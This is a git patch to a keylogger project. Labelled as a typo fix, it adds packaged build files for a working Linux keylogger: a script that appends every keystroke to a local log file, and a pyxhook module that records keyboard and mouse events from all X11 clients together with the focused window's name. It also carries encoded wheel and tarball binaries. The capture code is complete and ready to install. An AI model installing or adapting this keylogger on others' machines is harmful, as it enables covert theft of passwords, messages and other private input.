From c4db7ad74af12a05dc0b4381750df6d2288df1a2 Mon Sep 17 00:00:00 2001 From: Giacomo Lawrance Date: Thu, 20 Dec 2018 17:40:28 +0000 Subject: [PATCH] fixed typos --- linux/CHANGES.md | 4 + linux/README.md | 2 +- linux/build/lib/keylogger/__init__.py | 0 linux/build/lib/keylogger/__version__.py | 7 + linux/build/lib/keylogger/keylogger.py | 63 +++ linux/build/lib/keylogger/pyxhook.py | 394 ++++++++++++++++++ linux/dist/keylogger-2.7.2-py3-none-any.whl | Bin 0 -> 7352 bytes linux/dist/keylogger-2.7.2.tar.gz | Bin 0 -> 6489 bytes linux/keylogger.egg-info/PKG-INFO | 81 ++++ linux/keylogger.egg-info/SOURCES.txt | 13 + linux/keylogger.egg-info/dependency_links.txt | 1 + linux/keylogger.egg-info/entry_points.txt | 3 + linux/keylogger.egg-info/not-zip-safe | 1 + linux/keylogger.egg-info/requires.txt | 1 + linux/keylogger.egg-info/top_level.txt | 1 + 15 files changed, 570 insertions(+), 1 deletion(-) create mode 100644 linux/build/lib/keylogger/__init__.py create mode 100644 linux/build/lib/keylogger/__version__.py create mode 100644 linux/build/lib/keylogger/keylogger.py create mode 100644 linux/build/lib/keylogger/pyxhook.py create mode 100644 linux/dist/keylogger-2.7.2-py3-none-any.whl create mode 100644 linux/dist/keylogger-2.7.2.tar.gz create mode 100644 linux/keylogger.egg-info/PKG-INFO create mode 100644 linux/keylogger.egg-info/SOURCES.txt create mode 100644 linux/keylogger.egg-info/dependency_links.txt create mode 100644 linux/keylogger.egg-info/entry_points.txt create mode 100644 linux/keylogger.egg-info/not-zip-safe create mode 100644 linux/keylogger.egg-info/requires.txt create mode 100644 linux/keylogger.egg-info/top_level.txt diff --git a/linux/CHANGES.md b/linux/CHANGES.md index 5b06584..628384a 100644 --- a/linux/CHANGES.md +++ b/linux/CHANGES.md @@ -1,3 +1,7 @@ +## 2.7.3 (2018-12-20) + +- Fixed typo + ## 2.7.2 (2018-12-05) - Add CHANGES file and update `setup.py` file - Thanks **@GreatBahram** diff --git a/linux/README.md b/linux/README.md index b19de81..98880b3 100644 --- a/linux/README.md +++ b/linux/README.md @@ -1,6 +1,6 @@ # Keylogger -**Keylooger** is simple keylogger for Windows, Linux and Mac. +**Keylogger** is simple keylogger for Windows, Linux and Mac. ## Installation The following instructions will install Keylogger with pip Python package manager. diff --git a/linux/build/lib/keylogger/__init__.py b/linux/build/lib/keylogger/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/linux/build/lib/keylogger/__version__.py b/linux/build/lib/keylogger/__version__.py new file mode 100644 index 0000000..f079c6d --- /dev/null +++ b/linux/build/lib/keylogger/__version__.py @@ -0,0 +1,7 @@ +__title__ = 'keylogger' +__description__ = ' A simple keylogger for Windows, Linux and Mac ' +__url__ = 'https://simple-keylogger.github.io' +__version__ = '2.7.2' +__author__ = 'Giacomo Lawrance' +__author_email__ = 'thenerdystudent@gmail.com' +__license__ = 'MIT' diff --git a/linux/build/lib/keylogger/keylogger.py b/linux/build/lib/keylogger/keylogger.py new file mode 100644 index 0000000..941acc2 --- /dev/null +++ b/linux/build/lib/keylogger/keylogger.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +import os +from argparse import ArgumentParser + +from keylogger import pyxhook + + +def main(): + parser = ArgumentParser(description='A simple keylogger for Linux.') + parser.add_argument( + '--log-file', + default=os.path.join(os.getcwd(), 'output.log'), + help='Save the output in this file.', + ) + parser.add_argument( + '--clean-file', + action='store_true', + default=False, + help='Clear the log file on startup.Default is No', + ) + parser.add_argument( + '--cancel-key', + help='A single key that use as the cancel key, Default is ` (backtick)', + ) + + args = parser.parse_args() + + log_file = args.log_file + + if args.clean_file: + try: + os.remove(log_file) + except OSError: + # TODO: log with logging module + pass + + cancel_key = args.cancel_key[0] if args.cancel_key else '`' + + def OnKeyPress(event): + with open(log_file, 'a') as f: + f.write('{}\n'.format(event.Key)) + + if event.Ascii == cancel_key: + new_hook.cancel() + + new_hook = pyxhook.HookManager() + new_hook.KeyDown = OnKeyPress + new_hook.HookKeyboard() + + try: + new_hook.start() + except KeyboardInterrupt: + # User cancelled from command line. + pass + except Exception as ex: + # Write exceptions to the log file, for analysis later. + msg = 'Error while catching events:\n {}'.format(ex) + pyxhook.print_err(msg) + with open(log_file, 'a') as f: + f.write('\n{}'.format(msg)) + +if __name__ == '__main__': + main() diff --git a/linux/build/lib/keylogger/pyxhook.py b/linux/build/lib/keylogger/pyxhook.py new file mode 100644 index 0000000..a95dcbe --- /dev/null +++ b/linux/build/lib/keylogger/pyxhook.py @@ -0,0 +1,394 @@ +#!/usr/bin/env python +from __future__ import print_function + +import re +import sys +import threading +import time + +from Xlib import XK, X, display, error # noqa +from Xlib.ext import record +from Xlib.protocol import rq + + +def print_err(*args, **kwargs): + """ A wrapper for print() that uses stderr by default. """ + if kwargs.get('file', None) is None: + kwargs['file'] = sys.stderr + print(*args, **kwargs) + + +class HookManager(threading.Thread): + """ This is the main class. Instantiate it, and you can hand it KeyDown + and KeyUp (functions in your own code) which execute to parse the + PyxHookKeyEvent class that is returned. + + This simply takes these two values for now: + KeyDown = The function to execute when a key is pressed, if it returns + anything. It hands the function an argument that is the + PyxHookKeyEvent class. + KeyUp = The function to execute when a key is released, if it returns + anything. It hands the function an argument that is the + PyxHookKeyEvent class. + """ + def __init__(self): + threading.Thread.__init__(self) + self.finished = threading.Event() + + # Give these some initial values + self.mouse_position_x = 0 + self.mouse_position_y = 0 + self.ison = {'shift': False, 'caps': False} + + # Compile our regex statements. + self.isshift = re.compile('^Shift') + self.iscaps = re.compile('^Caps_Lock') + self.shiftablechar = re.compile('|'.join(( + '^[a-z0-9]$', + '^minus$', + '^equal$', + '^bracketleft$', + '^bracketright$', + '^semicolon$', + '^backslash$', + '^apostrophe$', + '^comma$', + '^period$', + '^slash$', + '^grave$' + ))) + self.logrelease = re.compile('.*') + self.isspace = re.compile('^space$') + + # Assign default function actions (do nothing). + self.KeyDown = lambda x: True + self.KeyUp = lambda x: True + self.MouseAllButtonsDown = lambda x: True + self.MouseAllButtonsUp = lambda x: True + + self.contextEventMask = [X.KeyPress, X.MotionNotify] + + # Hook to our display. + self.local_dpy = display.Display() + self.record_dpy = display.Display() + + def run(self): + # Check if the extension is present + if not self.record_dpy.has_extension('RECORD'): + print_err('RECORD extension not found') + sys.exit(1) + r = self.record_dpy.record_get_version(0, 0) + print_err('RECORD extension version {}.{}'.format( + r.major_version, + r.minor_version + )) + + # Create a recording context; we only want key and mouse events + self.ctx = self.record_dpy.record_create_context( + 0, + [record.AllClients], + [{ + 'core_requests': (0, 0), + 'core_replies': (0, 0), + 'ext_requests': (0, 0, 0, 0), + 'ext_replies': (0, 0, 0, 0), + 'delivered_events': (0, 0), + # (X.KeyPress, X.ButtonPress), + 'device_events': tuple(self.contextEventMask), + 'errors': (0, 0), + 'client_started': False, + 'client_died': False, + }] + ) + + # Enable the context; this only returns after a call to record_disable + # context, while calling the callback function in the meantime + self.record_dpy.record_enable_context(self.ctx, self.processevents) + # Finally free the context + self.record_dpy.record_free_context(self.ctx) + + def cancel(self): + self.finished.set() + self.local_dpy.record_disable_context(self.ctx) + self.local_dpy.flush() + + def printevent(self, event): + print(event) + + def HookKeyboard(self): + # We don't need to do anything here anymore, since the default mask + # is now set to contain X.KeyPress + # self.contextEventMask[0] = X.KeyPress + pass + + def HookMouse(self): + # We don't need to do anything here anymore, since the default mask + # is now set to contain X.MotionNotify + + # need mouse motion to track pointer position, since ButtonPress + # events don't carry that info. + # self.contextEventMask[1] = X.MotionNotify + pass + + def processevents(self, reply): + if reply.category != record.FromServer: + return + if reply.client_swapped: + print_err('* received swapped protocol data, cowardly ignored') + return + try: + # Python 2 + intval = ord(reply.data[0]) + except TypeError: + # Python 3. + intval = reply.data[0] + if (not reply.data) or (intval < 2): + # not an event + return + data = reply.data + while len(data): + event, data = rq.EventField(None).parse_binary_value( + data, + self.record_dpy.display, + None, + None + ) + if event.type == X.KeyPress: + hookevent = self.keypressevent(event) + self.KeyDown(hookevent) + elif event.type == X.KeyRelease: + hookevent = self.keyreleaseevent(event) + self.KeyUp(hookevent) + elif event.type == X.ButtonPress: + hookevent = self.buttonpressevent(event) + self.MouseAllButtonsDown(hookevent) + elif event.type == X.ButtonRelease: + hookevent = self.buttonreleaseevent(event) + self.MouseAllButtonsUp(hookevent) + elif event.type == X.MotionNotify: + # use mouse moves to record mouse position, since press and + # release events + # do not give mouse position info + # (event.root_x and event.root_y have bogus info). + self.mousemoveevent(event) + + # print('processing events...', event.type) + + def keypressevent(self, event): + matchto = self.lookup_keysym( + self.local_dpy.keycode_to_keysym(event.detail, 0) + ) + if self.shiftablechar.match( + self.lookup_keysym( + self.local_dpy.keycode_to_keysym(event.detail, 0))): + # This is a character that can be typed. + if not self.ison['shift']: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + return self.makekeyhookevent(keysym, event) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + return self.makekeyhookevent(keysym, event) + else: + # Not a typable character. + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + if self.isshift.match(matchto): + self.ison['shift'] = self.ison['shift'] + 1 + elif self.iscaps.match(matchto): + if not self.ison['caps']: + self.ison['shift'] = self.ison['shift'] + 1 + self.ison['caps'] = True + if self.ison['caps']: + self.ison['shift'] = self.ison['shift'] - 1 + self.ison['caps'] = False + return self.makekeyhookevent(keysym, event) + + def keyreleaseevent(self, event): + if self.shiftablechar.match( + self.lookup_keysym( + self.local_dpy.keycode_to_keysym(event.detail, 0))): + if not self.ison['shift']: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 1) + else: + keysym = self.local_dpy.keycode_to_keysym(event.detail, 0) + matchto = self.lookup_keysym(keysym) + if self.isshift.match(matchto): + self.ison['shift'] = self.ison['shift'] - 1 + return self.makekeyhookevent(keysym, event) + + def buttonpressevent(self, event): + return self.makemousehookevent(event) + + def buttonreleaseevent(self, event): + return self.makemousehookevent(event) + + def mousemoveevent(self, event): + self.mouse_position_x = event.root_x + self.mouse_position_y = event.root_y + + # need the following because XK.keysym_to_string() only does printable + # chars rather than being the correct inverse of XK.string_to_keysym() + def lookup_keysym(self, keysym): + for name in dir(XK): + if name.startswith('XK_') and getattr(XK, name) == keysym: + return name.lstrip('XK_') + return '[{}]'.format(keysym) + + def asciivalue(self, keysym): + asciinum = XK.string_to_keysym(self.lookup_keysym(keysym)) + if asciinum < 256: + return asciinum + else: + return 0 + + def makekeyhookevent(self, keysym, event): + storewm = self.xwindowinfo() + if event.type == X.KeyPress: + MessageName = 'key down' + elif event.type == X.KeyRelease: + MessageName = 'key up' + return PyxHookKeyEvent( + storewm['handle'], + storewm['name'], + storewm['class'], + self.lookup_keysym(keysym), + self.asciivalue(keysym), + False, + event.detail, + MessageName + ) + + def makemousehookevent(self, event): + storewm = self.xwindowinfo() + if event.detail == 1: + MessageName = 'mouse left ' + elif event.detail == 3: + MessageName = 'mouse right ' + elif event.detail == 2: + MessageName = 'mouse middle ' + elif event.detail == 5: + MessageName = 'mouse wheel down ' + elif event.detail == 4: + MessageName = 'mouse wheel up ' + else: + MessageName = 'mouse {} '.format(event.detail) + + if event.type == X.ButtonPress: + MessageName = '{}down'.format(MessageName) + elif event.type == X.ButtonRelease: + MessageName = '{}up'.format(MessageName) + return PyxHookMouseEvent( + storewm['handle'], + storewm['name'], + storewm['class'], + (self.mouse_position_x, self.mouse_position_y), + MessageName + ) + + def xwindowinfo(self): + try: + windowvar = self.local_dpy.get_input_focus().focus + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + # This is to keep things running smoothly. + # It almost never happens, but still... + return {'name': None, 'class': None, 'handle': None} + if (wmname is None) and (wmclass is None): + try: + windowvar = windowvar.query_tree().parent + wmname = windowvar.get_wm_name() + wmclass = windowvar.get_wm_class() + wmhandle = str(windowvar)[20:30] + except: + # This is to keep things running smoothly. + # It almost never happens, but still... + return {'name': None, 'class': None, 'handle': None} + if wmclass is None: + return {'name': wmname, 'class': wmclass, 'handle': wmhandle} + else: + return {'name': wmname, 'class': wmclass[0], 'handle': wmhandle} + + +class PyxHookKeyEvent(object): + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Key = The key pressed, shifted to the correct caps value. + Ascii = An ascii representation of the key. It returns 0 if the ascii + value is not between 31 and 256. + KeyID = This is just False for now. Under windows, it is the Virtual Key + Code, but that's a windows-only thing. + ScanCode = Please don't use this. It differs for pretty much every type of + keyboard. X11 abstracts this information anyway. + MessageName = 'key down', 'key up'. + """ + + def __init__( + self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, + ScanCode, MessageName): + self.Window = Window + self.WindowName = WindowName + self.WindowProcName = WindowProcName + self.Key = Key + self.Ascii = Ascii + self.KeyID = KeyID + self.ScanCode = ScanCode + self.MessageName = MessageName + + def __str__(self): + return '\n'.join(( + 'Window Handle: {s.Window}', + 'Window Name: {s.WindowName}', + 'Window\'s Process Name: {s.WindowProcName}', + 'Key Pressed: {s.Key}', + 'Ascii Value: {s.Ascii}', + 'KeyID: {s.KeyID}', + 'ScanCode: {s.ScanCode}', + 'MessageName: {s.MessageName}', + )).format(s=self) + + +class PyxHookMouseEvent: + """This is the class that is returned with each key event.f + It simply creates the variables below in the class. + + Window = The handle of the window. + WindowName = The name of the window. + WindowProcName = The backend process for the window. + Position = 2-tuple (x,y) coordinates of the mouse click + MessageName = 'mouse left|right|middle down', 'mouse left|right|middle up' + """ + + def __init__( + self, Window, WindowName, WindowProcName, Position, MessageName): + self.Window = Window + self.WindowName = WindowName + self.WindowProcName = WindowProcName + self.Position = Position + self.MessageName = MessageName + + def __str__(self): + return '\n'.join(( + 'Window Handle: {s.Window}', + 'Window\'s Process Name: {s.WindowProcName}', + 'Position: {s.Position}', + 'MessageName: {s.MessageName}', + )).format(s=self) + +if __name__ == '__main__': + hm = HookManager() + hm.HookKeyboard() + hm.HookMouse() + hm.KeyDown = hm.printevent + hm.KeyUp = hm.printevent + hm.MouseAllButtonsDown = hm.printevent + hm.MouseAllButtonsUp = hm.printevent + hm.start() + time.sleep(10) + hm.cancel() diff --git a/linux/dist/keylogger-2.7.2-py3-none-any.whl b/linux/dist/keylogger-2.7.2-py3-none-any.whl new file mode 100644 index 0000000000000000000000000000000000000000..d5dc0a48f6c0dfbf95a151aec4ee8b18cf966ba8 GIT binary patch literal 7352 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 literal 0 HcmV?d00001 diff --git a/linux/dist/keylogger-2.7.2.tar.gz b/linux/dist/keylogger-2.7.2.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..c867497f495c9d5859f36cb87e7160e55ea7219d GIT binary patch literal 6489 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 